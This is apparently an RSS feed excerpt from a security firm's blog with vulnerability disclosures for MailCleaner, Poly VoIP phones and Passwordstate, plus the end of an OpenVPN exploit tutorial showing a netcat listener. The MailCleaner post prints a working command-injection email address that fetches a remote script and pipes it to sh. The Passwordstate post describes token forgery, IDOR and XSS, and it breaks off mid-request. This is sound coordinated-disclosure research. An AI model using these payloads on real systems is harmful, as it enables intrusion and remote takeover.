<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">nc -lvvp <span class="m">8282</span>
</span></span></code></pre></div><p>Navigate to the vulnerable application&rsquo;s web interface, upload the modified configuration, and press <code>Toggle VPN</code> to activate the OpenVPN client. This should result in the &ldquo;IoT device&rdquo;&rsquo;s shell connecting to our listener, as shown below:</p>
<figure><img src="/static/openvpn-exploit-tutorial/rev-shell-success.png"><figcaption>
      <h4>The victim&#39;s shell has connected to our listener!</h4>
    </figcaption>
</figure>

<h2 id="conclusion">Conclusion</h2>
<p>Bottom line: if you&rsquo;re a dev, there&rsquo;s no way around acquainting yourself properly with the functionality offered by technology you want to integrate into your application. Luckily, doing so was never easier than it is today: simply ask your favorite GenAI if there&rsquo;s anything you need to be aware of. If it says no but some sneaky person still manages to exploit your application, let me know — I love to hear proof of human intelligence reigning supreme! Jokes aside, bottom line is that if you want to use a technology, you need to do your research in order to protect your users.</p>
<p>In this specific example, if your application uses OpenVPN, make sure that users cannot specify any security-critical options inside the configuration. Since allow-listing is preferable over deny-listing, only allow a restrictive set of configuration options! You might also take a step back and ask yourself: does my application really need a VPN feature? If it is not crucial to the application, you should limit the attack surface by removing the feature altogether. Less is more (at least in some areas of life)!</p>
]]></content:encoded></item><item><title>Beyond the @ Symbol: Exploiting the Flexibility of Email Addresses For Offensive Purposes</title><link>https://modzero.com/en/blog/beyond-the-at-symbol/</link><pubDate>Fri, 07 Jun 2024 00:00:00 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/beyond-the-at-symbol/</guid><description>We exploited an unauthenticated command injection within the spam filter appliance MailCleaner that can be triggered through a malicious email address.</description><content:encoded><![CDATA[<h3 id="tldr">tl;dr</h3>
<p>As part of a security research, our colleagues <a href="https://chaos.social/@born0monday">Michael Imfeld</a> and <a href="https://parzel.bsky.social/">Pascal Zenker</a> examined the <a href="https://www.mailcleaner.net/de/">commercial</a> and <a href="https://github.com/MailCleaner/MailCleaner">open source</a> spam filter appliance MailCleaner and identified multiple high severity vulnerabilities (CVE-2024-3191, CVE-2024-3192, CVE-2024-3193, CVE-2024-3194, CVE-2024-3195, CVE-2024-3196). Successful exploitation allows an unauthenticated attacker to take over the appliance as root user and gain full access to all emails handled by it through a malicious email.</p>
<p>Details about these and all other identified security vulnerabilities in MailCleaner can be found in our published disclosure report <a href="https://modzero.com/en/advisories/mz-24-01-mailcleaner/">PDF</a>. The vulnerablities were communicated to MailCleaner in a coordinated disclosure and were fixed by the vendor.</p>
<h3 id="what-is-mailcleaner">What is MailCleaner?</h3>
<p>MailCleaner is an email filtering appliance which is designed to counteract spam, viruses, and other malicious content. It offers both commercial and community editions to accommodate different requirements. The deployment of the product can be imagined similarly to a reverse proxy for web applications. The main mail exchange record for a domain is pointed to MailCleaner which applies its filtering and forwards messages to the actual mail server.</p>
<p>While the number of deployments across the internet of around 4000 instances during an initial assessment wasn&rsquo;t particularly remarkable we identified a couple of interesting organizations relying on MailCleaner. Among these organizations were governments, universities and large insurance companies. So MailCleaner would indeed qualify as an attractive target for attackers.</p>
<h3 id="this-is-a-valid-email-addressmodzerocom">&ldquo;This is a valid Email Address?!&quot;@modzero.com</h3>
<p>An email address, as defined in the RFC standards, comprises two main parts: the local part and the domain part, separated by the &ldquo;@&rdquo; symbol.</p>
<p>Following the &ldquo;@&rdquo; symbol is the domain part, which specifies the email provider or the organization&rsquo;s domain where the mailbox resides. This section typically includes a domain name like <code>modzero.com</code> and can be divided into subdomains, such as <code>mail.modzero.com</code>. The domain part is generally restricted to letters, numbers, hyphens, and periods, ensuring that email addresses are compatible across various systems and protocols.</p>
<p>But it&rsquo;s the local part, which precedes the &ldquo;@&rdquo; sign, that is more interesting for us as pentesters. Because it identifies the mailbox within a domain where the email is to be delivered. This part can include a variety of characters, such as letters (both uppercase and lowercase), numbers, and even certain special characters. Hereby the specific alphabet is decided on the fact whether the local part is quoted or unquoted. The unquoted local part&rsquo;s alphabet can include any of these chars: <code>A-Za-z0-9!#$%&amp;'*+-/=?^_`{|}~</code>. For example, <code>jane.doe@modzero.com</code>,<code>jane_doe+newsletter@modzero.com</code>, and <code>1234?@modzero.com</code> are all valid representations for the local part.</p>
<p>When using the local part quoted in an email address, as specified by RFC standards, the rules for which characters it can contain become more lenient, allowing for a broader array of options. For this, the local part is wrapped in quotation marks (&rdquo;), enabling the inclusion of spaces, dots, and special characters that would otherwise be interpreted differently or not allowed at all: <code>&quot;(),:;&lt;&gt;@[\]</code>.</p>
<p>While for example an unquoted local part might not allow for spaces or consecutive dots, the quoted local part can include them, such as<code>&quot;jane.doe...something&quot;@modzero.com</code>, <code>&quot;jane doe&quot;@modzero.com</code> or even <code>&quot;.(),:;&lt;&gt;[]\&quot;&quot;@modzero.com</code>. This quoted format effectively tells the email system to take the enclosed sequence of characters exactly as it is, without applying the usual parsing rules that might split a username into parts or disallow certain characters.</p>
<p>It is worth mentioning that despite this flexibility, the use of quoted local parts is relatively rare in everyday email communication due to the added complexity and the potential for misunderstandings when addresses are typed or communicated verbally. Additionally, not every mail provider is handing out their email addresses with the full RFC compliant alphabet. Which means that these mail-servers reject recipient mail addresses including special characters under certain circumstances or even assign a different meaning to them. One such an example would be sub-addressing.</p>
<p>Sub-addressing is a feature that allows users to extend their basic email address with additional identifiers, enabling better management and organization of incoming emails. This is typically achieved by appending a plus (&quot;+&quot;) sign followed by a tag to the local part of the email address. The purpose behind sub-addressing is to create variations of a single email address for different uses, without the need for setting up multiple email accounts. For instance, if your primary email address is <code>janedoe@modzero.com</code>, you could use sub-addressing to create variations like <code>janedoe+news@modzero.com</code> for signing up for newsletters, or <code>janedoe+shopping@modzero.com</code> for online shopping. All emails sent to these sub-addresses land in the inbox of <code>janedoe@modzero.com</code>, but they can be easily filtered or sorted based on the unique identifiers after the plus sign. Several public mail providers support sub-addressing as e.g., gmail.com or outlook.com. It is important to note that while the local part of the email address can contain a plus sign and additional characters for sub-addressing purposes, the interpretation and handling of these addresses are up to the email provider&rsquo;s system. Some systems might ignore the plus sign and everything after it, while others fully support this feature and allow users to take advantage of it for email management and filtering.</p>
<h3 id="whats-in-it-for-attackers">What&rsquo;s in it for attackers?</h3>
<p>In software development it seems common knowledge that user input is a breeding ground for security threats. This understanding is (partly based on prejudices but also based on many incidents&hellip;) rooted in many incidents where insufficiently sanitized input led to breaches and exploits. Yet, despite this awareness, recognizing all forms of user input, especially those that appear benign, remains a challenge. Email addresses, for instance, often defy expectations about what user input can entail. Many developers and systems assume that email addresses are straightforward, consisting only of alphanumeric characters, dots, and the occasional dash or underscore. This assumption, as explained in the previous section, is a misconception that can lead to overlooked vulnerabilities.</p>
<p>Email addresses, as defined by the RFC standards, can include a wider range of characters than commonly expected, including quotes and special characters in the local part if appropriately quoted. One clear example of how this can be exploited is the threat of stored Cross-Site Scripting (XSS) attacks. Stored XSS attacks occur once an application stores user input unsafely and then displays this unescaped content to other users. If a system does not recognize that quotes and other special characters can be part of a valid email address, attackers can exploit this oversight by injecting malicious scripts into their email addresses. When these addresses are displayed to users, the embedded script can execute within their browser, leading to data theft, session hijacking, or other malicious outcomes.</p>
<h3 id="crafting-an-exploit-with-strict-limitations">Crafting an Exploit With Strict Limitations</h3>
<p>With this theory in mind we started hunting for vulnerabilities within MailCleaner. We were particularly interested in finding a vulnerability that would be exposed to the mailing service (SMTP) rather than the web interface because many instances that are publicly available do not allow access to the web interface.</p>
<p>A couple of <code>system()</code> calls in MailCleaner&rsquo;s clean spam quarantine cron job that is run at midnight every day sparked our interest. One of the lines looked like this: <code>system(&quot;rmdir $domain_entry &gt;/dev/null 2&gt;&amp;1&quot;);</code>. Tracing back <code>$domain_entry</code> revealed that this variable is populated with a file path globbed from MailCleaner&rsquo;s spam quarantine directory. This path looked quite promising so we proceeded to setup a local MailCleaner instance to investigate further.</p>
<p>To get a clearer picture of the inner workings of this cleaning procedure we sent a couple of emails containing a spam test string, similar to EICAR for viruses, to our local MailCleaner instance making sure it was classified as spam. Much to our surprise we found that the file paths we were after actually contained the recipient&rsquo;s email address. Bingo!</p>
<p>To get an impression of the feasibility of the attack we first started experimenting with a local mailcatcher as target server. This had the advantage that we could test against a target that would accept any address so we could solely focus on MailCleaner&rsquo;s behavior. It also allowed us to leverage the full character set inside a quoted local path as described above.</p>
<p>Our first attempt looked something like this:</p>
<pre tabindex="0"><code>&#34;;id&gt;mod0;&#34;@mod0.local
</code></pre><p>On the file system:
<figure><img src="/static/mailcleaner/mailcleaner_1.png"><figcaption>
      <h4>Examining the files on the file system shows that we can inject valid shell commands into the file name.</h4>
    </figcaption>
</figure>
</p>
<p>Inserted into the <code>system()</code> said line in the code reads:</p>
<pre tabindex="0"><code>system(&#34;rmdir /var/mailcleaner/spam/mod0.local/;id&gt;mod0;@mod0.local &gt;/dev/null 2&gt;&amp;1&#34;);
</code></pre><p>At this point we knew that we could facilitate an OS command injection by sending an email with a malicious recipient address and a high spam score. There was one problem though. MailCleaner verifies each recipient address of an incoming message on the outgoing mail server before accepting and classifying it. This meant that the malicious recipient address had to be accepted not only by MailCleaner itself but also by the target mail server.</p>
<p>So how could we bypass this limitation? Registering a mailbox on the target would introduce many new hurdles and would also lower the impact significantly. So here is where sub-addressing comes to the rescue!</p>
<p>We decided to give it a go with more realistic targets. As a reference we utilized Gmail and Outlook as outgoing mail providers. The idea was to use an existing address such as <code>jane.doe@gmail.com</code> for Gmail and append the payload utilizing sub-addressing (e.g. <code>jane.doe+&lt;payload&gt;@gmail.com</code>). It became apparent quickly that both targets were not strictly RFC compliant as the quoted email format could not be used. GMail returned &ldquo;unknown recipient&rdquo; when an existing local part was wrapped into quotes while Outlook responded with &ldquo;access denied&rdquo;. In consequence this meant we could only utilize a restricted set of characters. As an example the semicolon character could not be used. The charset that was allowed boiled down to <code>+&amp;|`${}#*</code>.</p>
<p>The greatest challenge however, posed the restriction of the white space character. Proving that the OS command injection is possible was quite trivial. But without whitespaces it couldn&rsquo;t really be weaponized to gain a reverse shell. The runtime environment in Dash, as opposed to Bash, further limited our options. On a conceptual level it had to be possible to obtain a white space character and store it in an environment variable to use it in a statement like <code>curl${space}modzero.com|sh</code>. What about <code>${IFS}</code> and the like, you might think? Unfortunately we couldn&rsquo;t leverage any existing env variables since the address was always converted to lower case thus making existing env variables inaccessible.</p>
<p>While skimming through the Dash man page we discovered a section about &ldquo;Parameter Expansion&rdquo;. Among other functionality there are mechanisms that provide substring processing. So the idea was to extract a white space character from the output of another command.</p>
<p>After experimenting for a while we came up with a solution that looked quite promising. Using <code>df|tac</code> would return the lines of the <code>df</code> output in reversed order. Meaning <code>df</code>&rsquo;s header would always be at the very bottom. This output is then stored in an env variable called <code>a</code>. On any system the <code>a</code> variable would always end with this line:</p>
<pre tabindex="0"><code>&lt;system dependant&gt;
Filesystem     1K-blocks     Used Available Use% Mounted on
</code></pre><p>Now Dash&rsquo;s parameter expansion comes into play. The expression <code>${a##*d}</code> tells Dash to remove anything up until the pattern match. As a result the string &quot; on&quot; is returned, exactly what we needed! Our curl command would now look like this: <code>curl${a##*d}.modzero.com|sh</code>. So it was time to glue anything together. Since we couldn&rsquo;t use <code>;</code> to build a chain of commands we had to use <code>||</code> and <code>&amp;&amp;</code>. Chaining what we had so far looked like this:</p>
<pre tabindex="0"><code>a=`df|tac`&amp;&amp;curl${a##*d}.modzero.com|sh
</code></pre><p>For the final exploit a couple of further adjustments had to be made. Since MailCleaner removed one pipe character during processing there is one extra pipe needed at the beginning of the payload to chain everything together. Obviously we also added redirection to Dash of the fetched content via curl. The final weaponized payload looked like this:</p>
<pre tabindex="0"><code>john.doe+|||a=`df|tac`&amp;&amp;curl${a##*d}.modzero.com|cat|sh||@gmail.com
</code></pre><p>After sending a message using the crafted recipient address we found this very legitimate looking file in MailCleaner&rsquo;s spam directory:</p>
<figure><img src="/static/mailcleaner/mailcleaner_2.png"><figcaption>
      <h4>Examining the files on the file system reveals our RCE payload was succesfully created.</h4>
    </figcaption>
</figure>

<p>At this point we only had to wait for our reverse shell to be triggered. In summary we built a fully RFC compliant email address without spaces but also a reverse shell payload!👀</p>
<p>See the full working exploit in action:


<div class="youtube-gdpr-container">
  <div class="youtube-gdpr-placeholder" data-id="d9djVupNSZU" alt="[MZ-24-01]: Unauthenticated OS Command Injection via Email">
    <div class="youtube-gdpr-overlay">
      
        <h3>[MZ-24-01]: Unauthenticated OS Command Injection via Email</h3>
      
      <p>This content is hosted by YouTube. By showing the external content you accept the <a href="https://policies.google.com/privacy">YouTube privacy policy</a>.</p>
      <button class="youtube-gdpr-accept">Accept and show content</button>
    </div>
  </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
  const containers = document.querySelectorAll('.youtube-gdpr-container');
  containers.forEach(container => {
    const button = container.querySelector('.youtube-gdpr-accept');
    const placeholder = container.querySelector('.youtube-gdpr-placeholder');
    const videoId = placeholder.getAttribute('data-id');

    button.addEventListener('click', function() {
      const iframe = document.createElement('iframe');
      iframe.setAttribute('src', `https://www.youtube-nocookie.com/embed/${videoId}`);
      iframe.setAttribute('frameborder', '0');
      iframe.setAttribute('allow', 'encrypted-media; picture-in-picture');
      iframe.setAttribute('allowfullscreen', '');
      placeholder.innerHTML = '';
      placeholder.appendChild(iframe);
    });
  });
});
</script>
</p>
<p>In a very similar fashion we discovered a stored XSS vulnerability that was triggered by the sender&rsquo;s email address. As opposed to the recipient address the sender address is not subject to any verification. Therefore we could leverage the full character set through quoting of the local part making exploitation trivial. Combining the stored XSS with an authenticated remote code execution in the admin web frontend led to system compromise similar to the OS command injection described above.</p>
<h3 id="conclusion">Conclusion</h3>
<p>It is clear that dealing with any kind of input in software development stays a difficult problem. Recognizing that any information provided by users can be a potential security risk is the first step towards safer applications. Developers often face challenges in identifying all the different forms of user input, which can make safeguarding against threats tricky. Also assumptions about how secure or straightforward inputs are, especially email addresses, might lead to unexpected troubles. The variety in what&rsquo;s considered a valid email address alone and the resulting security issues in MailCleaner are a stark reminder to stay vigilant and <strong>always</strong> and <strong>ever</strong> sanitize input in your programs.</p>
<h3 id="acknowledgement">Acknowledgement</h3>
<p>We want to thank MailCleaner for the open and transparent communication within the disclosure process. MailCleaner was responsive throughout the entire process and released their fixes swiftly after receiving our report.</p>
<h3 id="advisory--timeline">Advisory &amp; Timeline</h3>
<p>Find the full technical details about these vulnerabilities, proof of concept code and the disclosure in <a href="https://modzero.com/en/advisories/mz-24-01-mailcleaner/">our advisory</a>.</p>
]]></content:encoded></item><item><title>[MZ-24-01] MailCleaner</title><link>https://modzero.com/en/advisories/mz-24-01-mailcleaner/</link><pubDate>Mon, 29 Apr 2024 00:00:00 +0200</pubDate><author>Michael Imfeld, Pascal Zenker</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-24-01-mailcleaner/</guid><description>Unauthenticated Command Injection and Cross-Site Scripting (XSS) vulnerabilities in MailCleaner</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/MZ-24-01_modzero_MailCleaner.pdf">here</a>. Further details are published in our <a href="https://modzero.com/en/blog/beyond-the-at-symbol/">blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-23-01] Poly VoIP Devices</title><link>https://modzero.com/en/advisories/mz-23-01-poly-voip-devices/</link><pubDate>Fri, 29 Dec 2023 00:13:37 +0200</pubDate><author>Pascal Zenker, Christoph Wolff</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-23-01-poly-voip-devices/</guid><description>Several vulnerabilities in Poly VoIP devices</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/MZ-23-01_modzero_Poly_VoIP_Devices.pdf">here</a>, an overview of the vulnerabilities is given in <a href="https://modzero.com/en/blog/multiple-vulnerabilities-in-poly-products/">our announcement blog post</a>.</p>
]]></content:encoded></item><item><title>Multiple Vulnerabilities in Poly VoIP Products</title><link>https://modzero.com/en/blog/multiple-vulnerabilities-in-poly-products/</link><pubDate>Fri, 29 Dec 2023 00:13:37 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/multiple-vulnerabilities-in-poly-products/</guid><description>We uncovered several vulnerabilities allowing an attacker in the network to take over a Poly VoIP device and turn it into a bug hidden in plain sight.</description><content:encoded><![CDATA[<p>Poly Inc., formerly Polycom, is a corporation that develops video and voice communication technology. Their business desk and conference IP phones are popular and commonly used in enterprise business environments.</p>
<p>modzero identified several vulnerabilities in the <a href="https://www.poly.com/us/en/products/phones/ccx">Poly CCX series</a>, a business media desk phone and the <a href="https://www.poly.com/us/en/products/phones/trio">Poly Trio series</a>, which are smart conference phones. It is confirmed by the vendor that other devices are also vulnerable to some of the same attacks, as they share many software components. The discovered vulnerabilities can be combined to take over a device either through the local network or with physical access to it. An attacker could then employ the device to eavesdrop using the built-in microphones or reroute incoming and outgoing calls. It would also be possible to install malicious applications, attack the connected network or perform phishing attacks on users by prompting for their credentials.</p>
<p>The session tokens generated for the different Poly devices&rsquo; web management interfaces are using weak randomness. Effectively all tokens generated in the span of a second have the same value and the tokens can be predicted by an attacker due to a deterministic algorithm based on the time in seconds. An attacker with network access can continuously generate valid session tokens for the web management interface, trying to authenticate with them, eventually stealing an administrator session once they log in. One of the discovered vulnerabilities allows an attacker to crash the devices with an unauthenticated HTTP request. They may thus provoke an administrator to log into the Poly device&rsquo;s web management interface thereby enabling the session takeover.</p>
<p>An attacker can then leverage the lack of password protection in the configuration import to override the currently set password and gain persistence on the device. From here, an attacker has multiple options to elevate their access:</p>
<p>On older devices such as the Trio 8800, they can enable a diagnostics Telnet shell and use a command injection vulnerability to gain full control with root privileges. If they attack a device where the command injection has been patched, for example the Poly CCX 400, they can use the management interface to roll back the firmware to an older, vulnerable version and exploit it the same way afterwards.</p>
<p>An attacker with physical access but without administrative privileges can gain these on Trio devices with internet connection, by registering them with Poly&rsquo;s management cloud called Lens. This can be achieved by navigating to a menu which is not password-protected and using the displayed cloud registration code.</p>
<p>With administrative access on Trio devices an attacker can enable the “Test Automation” mode on the device by solving a challenge-response problem posed by the device. By reverse-engineering the algorithm behind the challenge, modzero was able to create a proof-of-concept tool for generating valid responses to these challenges. The only required information is the device&rsquo;s MAC address, which is printed on the bottom of the device. Once the mode is enabled, the devices start an ADB and Telnet daemon on boot. Both allow unauthenticated shell-level access to the device, to run arbitrary code.</p>
<p>Products that were tested by modzero:</p>
<table>
  <thead>
      <tr>
          <th>Finding</th>
          <th>CCX (8.1.3.1301)</th>
          <th>Trio 8800 (7.2.6.0019)</th>
          <th>Trio C60 (8.1.3.1300)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Administrator Session Prediction</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
      </tr>
      <tr>
          <td>Denial of Service Through HTTP Request</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
      </tr>
      <tr>
          <td>OS Command Injection in Diagnostics-Telnet</td>
          <td>&lt;8.0.2.3267</td>
          <td>Vulnerable</td>
          <td>&lt;8.0.2.3266</td>
      </tr>
      <tr>
          <td>Configuration Import Allows Unverified Password Change</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
      </tr>
      <tr>
          <td>Missing Firmware Anti-Rollback Protection</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
      </tr>
      <tr>
          <td>Backdoor-Mode Allows Telnet Root Access</td>
          <td>Not Affected</td>
          <td>Vulnerable</td>
          <td>Not Affected</td>
      </tr>
      <tr>
          <td>Missing Authorization for Cloud Registration Code</td>
          <td>Not Affected</td>
          <td>Vulnerable</td>
          <td>Vulnerable</td>
      </tr>
  </tbody>
</table>
<p>While not explicitly verified by modzero, the vendor noted that the following devices or product lines are affected at least in part:</p>
<ul>
<li>Trio 8300/8500/8800/C60</li>
<li>CCX</li>
<li>VVX</li>
<li>Edge E</li>
</ul>
<p>Further details by the vendor will be published on the respective <a href="https://support.hp.com/us-en/poly">product pages</a> or at the <a href="https://support.hp.com/us-en/security-bulletins">HP security bulletin site</a>.</p>
<p>The full disclosure report can be found <a href="https://modzero.com/en/advisories/mz-23-01-poly-voip-devices/">on the advisory page</a>. The proof-of-concept code will be published in January 2024 on <a href="https://github.com/modzero/MZ-23-01_PoC_Poly_VoIP_Devices">our GitHub</a>.</p>
]]></content:encoded></item><item><title>12th Anniversary</title><link>https://modzero.com/en/blog/12th-anniversary/</link><pubDate>Sat, 29 Apr 2023 10:00:00 +0200</pubDate><author>modzero</author><category>company</category><guid>https://modzero.com/en/blog/12th-anniversary/</guid><description>Today we celebrate our 12th anniversary.</description><content:encoded><![CDATA[<p>Today we celebrate our 12th anniversary!</p>
<p>To celebrate we have decided to revamp our company design across the web and other media.</p>
<p>From now on you can find our latest blog posts and vulnerability advisories <a href="https://modzero.com/en/news/">here</a> <a href="https://modzero.com/en/news/index.xml">[+RSS]</a> while we work to move selected older articles in the near future as well. In the meantime you can find the archive <a href="https://www.modzero.com/modlog/">here</a>.</p>
]]></content:encoded></item><item><title>[MZ-22-03] Passwordstate</title><link>https://modzero.com/en/advisories/mz-22-03-passwordstate/</link><pubDate>Mon, 19 Dec 2022 20:42:38 +0200</pubDate><author>Pascal Zenker, Ubahnverleih, Jan Benninger</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-22-03-passwordstate/</guid><description>Multiple high severity vulnerabilities in Passwordstate by Click Studios</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/MZ-22-03_Passwordstate_Security_Disclosure_Report-v1.0.pdf">here</a>, an overview of the vulnerabilities is given in <a href="https://modzero.com/en/blog/better-make-sure-your-password-manager-is-secure/">our announcement blog post</a>.</p>
]]></content:encoded></item><item><title>Better Make Sure Your Password Manager Is Secure</title><link>https://modzero.com/en/blog/better-make-sure-your-password-manager-is-secure/</link><pubDate>Mon, 19 Dec 2022 10:00:04 +0200</pubDate><author>modzero</author><category>disclosure</category><guid>https://modzero.com/en/blog/better-make-sure-your-password-manager-is-secure/</guid><description>We examined the password management solution Passwordstate of Click Studios and identified multiple high severity vulnerabilities.</description><content:encoded><![CDATA[<h3 id="or-someone-else-will">Or Someone Else Will</h3>
<h3 id="tldr">tl;dr</h3>
<p>As part of a security analysis, our colleagues kuekerino (<a href="https://twitter.com/kuekerino">T</a> / <a href="https://chaos.social/@kuekerino">M</a>), ubahnverleih (<a href="https://twitter.com/ubahnverleih">T</a> / <a href="https://chaos.social/@ubahnverleih">M</a>) and parzel (<a href="https://parzel.bsky.social/">B</a> / <a href="https://chaos.social/@parzel">M</a>) examined the password management solution Passwordstate of Click Studios and identified multiple high severity vulnerabilities (CVE-2022-3875, CVE-2022-3876, CVE-2022-3877). Successful exploitation allows an unauthenticated attacker to exfiltrate passwords from an instance, overwrite all stored passwords within the database, or elevate their privileges within the application. The individual vulnerabilities can be chained to gain a shell on the Passwordstate host system and dump all stored passwords in cleartext – Starting with nothing more than a valid username!</p>
<p>Details about these and all other identified security vulnerabilities in Passwordstate can be found in our <a href="https://www.modzero.com/static/MZ-22-03_Passwordstate_Security_Disclosure_Report-v1.0.pdf">published disclosure report [PDF]</a>.</p>
<p>Click Studios states that all vulnerabilites are fixed since <a href="https://www.clickstudios.com.au/passwordstate-changelog.aspx">Passwordstate 9.6 - Build 9653</a>.</p>
<h3 id="securing-your-password-manager-is-crucial-for-the-security-of-your-organization">Securing Your Password Manager Is Crucial for the Security of Your Organization</h3>
<p>Many enterprise organizations <a href="https://www.rapid7.com/research/reports/under-the-hoodie-2020/">struggle with password management</a>. Password management solutions simplify this process by generating, storing and managing our passwords. Storing passwords in a secure password manager is so far the best method to safe-keep passwords, but it is important to understand that the more secrets are stored within a single centralized location, the more valuable it will be for criminals. Therefore it is of crucial importance that the solution storing the secrets is secure.</p>
<p>We experienced first hand how severe that lack of security can be, when we conducted a pentest for a customer. The customer planned to migrate their password management to the solution <a href="https://www.clickstudios.com.au/">Passwordstate by Click Studios</a> and wanted to make sure that their passwords would be securely stored and can only be accessed by authorized users.</p>
<p>Passwordstate is an on-premise enterprise password management solution. It allows its users to store, access and share sensitive password material. The password manager has support for a vast amount of features, different access control systems and connectors to enterprise identity management solutions. With over 29,000 customers, <a href="https://www.clickstudios.com.au/our-customers.aspx">&ldquo;spanning from the largest of enterprises, including many Fortune 500 companies to the smallest of IT shops&rdquo;</a>, it is widely deployed.</p>
<p>We started our analysis by setting up our own instance of Passwordstate with a machine-in-the-middle setup. This allowed more transparent and dynamic testing. Afterwards we used the whole application for a few hours to map as many of the available features as possible. Our first observation was that the core of the application uses a framework, but the various API parts had a more custom tailored feel. Some API components used a different authentication mechanism and we suspected that it was developed without the framework. This seemed to be a promising place to start, as custom written code most often is more prone to errors.</p>
<p>The first API we looked into was the browser extension API. Passwordstate has support for a browser extension, which can store, modify and retrieve passwords for users. As this API directly handles confidential credentials, it peaked our interest.</p>
<p>The browser extension authenticates against the API with a token and we wanted to know how it is generated. As the software is written in C#, it should have been easy to decompile it. To prevent decompilation, the vendor used code obfuscators – these can&rsquo;t hide the code completely, but can make it more time-consuming to decompile or understand the code. Contrary to a real attack, time is limited in pentests. So, instead of deobfuscating the code, we tried another approach: The changelogs of the software showed that code obfuscation was introduced a few major versions before. These versions cannot be downloaded on Clickstudios&rsquo; website anymore, but the Internet Archive had some older <a href="https://web.archive.org/web/20180310101622/https://clickstudios.com.au/previous-builds.aspx">versions available</a>.</p>
<p>The decompiled version contained a surprise for us: The API token is not some randomly generated string or secret, neither is it cryptographically signed. Instead, the API token contained concatenated user information that was XOR encrypted with a hardcoded key. A decrypted example can bee seen here:</p>
<p>Even more surprising was the code, which validated the token: The only field from the string used for authentication and authorization was the username. This implied the following:</p>
<ul>
<li>Tokens cannot be invalidated when they are compromised</li>
<li>Tokens are not changed on a user&rsquo;s password change</li>
<li>We can create our own token for a known username</li>
</ul>
<p>The last point is crucial: We only need to know an existing username to craft a valid API token with the hardcoded XOR key. As a result we can access and modify all data which the browser extension can access and this includes all passwords of that user that have a URL entry attached to it. This is the default for any password stored through the browser extension. We were off to a great start, but there were some passwords left within the instance we could not access yet. So we decided we need to dig deeper to acquire them as well.</p>
<p>The fact that we retrieved the requested passwords from the API in cleartext got us thinking. Because this means that the passwords are either not stored encrypted on the server or are stored with only server-side encryption within the database. An inspection of the database on our installation showed that the latter was the case. In fact, the server-side decryption was already reversed by Northwave Security a few years back. They have published a <a href="https://github.com/NorthwaveSecurity/passwordstate-decryptor">proof of concept</a> which allowed to extract the obfuscated AES key used for encrypting the database from different files on the system and snippets from the database. Afterwards it dumps all passwords stored within the database.</p>
<p>We consider this architecture a fundamental design flaw, as any attacker with access to the host system can dump all stored passwords on it! The linked code though is only working for builds until version 8903, afterwards it was mitigated with an <a href="https://github.com/NorthwaveSecurity/passwordstate-decryptor/issues/1">update</a>. There was no major announcement regarding a change of cryptographic implementation in Click Studios&rsquo; changelog or release notes. This led us to believe that the fix may not address the root cause but only changed and subsequently obfuscated the decryption process enough to break the proof of concept tool. To verify our suspicion we generated the previously working encryption key with the tool:</p>
<figure><img src="/files/posts/passwordstate/passwordstate-decryptor.png"><figcaption>
      <h4>Generated encryption key</h4>
    </figcaption>
</figure>

<p>We performed some in-memory searches to see if the key is still in use by the application in its previous form. Yes, it was! And right next to it was something which looked very similiar to a key as well. We tried decrypting the database with it and it worked. The following image shows the two keys next to each other. Can you spot the connection? A simple one-line patch is sufficient to make the password decryptor work again.</p>
<figure><img src="/files/posts/passwordstate/memory.png"><figcaption>
      <h4>Memory Scan</h4>
    </figcaption>
</figure>

<p>But in order to get to the encrypted passwords, we would need access to the database or – even better – get a reverse shell.</p>
<p>We already mentioned the vast feature set of Passwordstate like its role based access system. Users with the administrator roles have a special menu that gives access to many administrative features, for example backing up the database or adding new users. Or – and this feature seemed particularly interesting to us – the ability to run arbitrary Powershell scripts on the host-machine: Code execution as a service! If we could find a way to elevate our privileges within Passwordstate to an administrator user, we could access the host system and dump all passwords. But remember, we may have access to the browser extension API so far, but that does not give us access to an actual session within the web instance.</p>
<p>As the Passwordstate user interface is a website, this provides a huge surface for cross-site scripting (XSS) attacks. We did not have to dig deep to find one: URLs could be assigned to passwords which can quickly be visited from within the password manager. The link validation was insufficient and allowed the use of the JavaScript protocol handler and therefore for easy XSS attacks with a single click.</p>
<p>The actual URL is mostly hidden in Passwordstates&rsquo; user-interface, increasing the probability of an unsuspecting user clicking the link. And here comes <i>the art of make humans clicking links</i>: As an authenticated user this is easy – Passwordstate allows sharing of password lists. Inviting a colleague to the password list for the next project is common. And if the only place where the URLs are shared is the shared list, a click on the link is not unlikely.</p>
<p>But what seems even more authentic than a link in a shared password list? A link in a user&rsquo;s private password list. How do we do that? With an <a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References">IDOR</a>.</p>
<p>We already found a major vulnerability within the browser extension API and as hackers we know: One vulnerability seldom comes alone. One of the first things we checked with our unauthenticated API access was, if we can access other user&rsquo;s passwords. We had no luck with that, but discovered that it is possible to store new password entries within other people&rsquo;s password lists when the list&rsquo;s ID is known by using the following request:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">POST /api/browserextension/addpassword/ HTTP/2
</span></span><span class="line"><span class="cl">Host: XXX
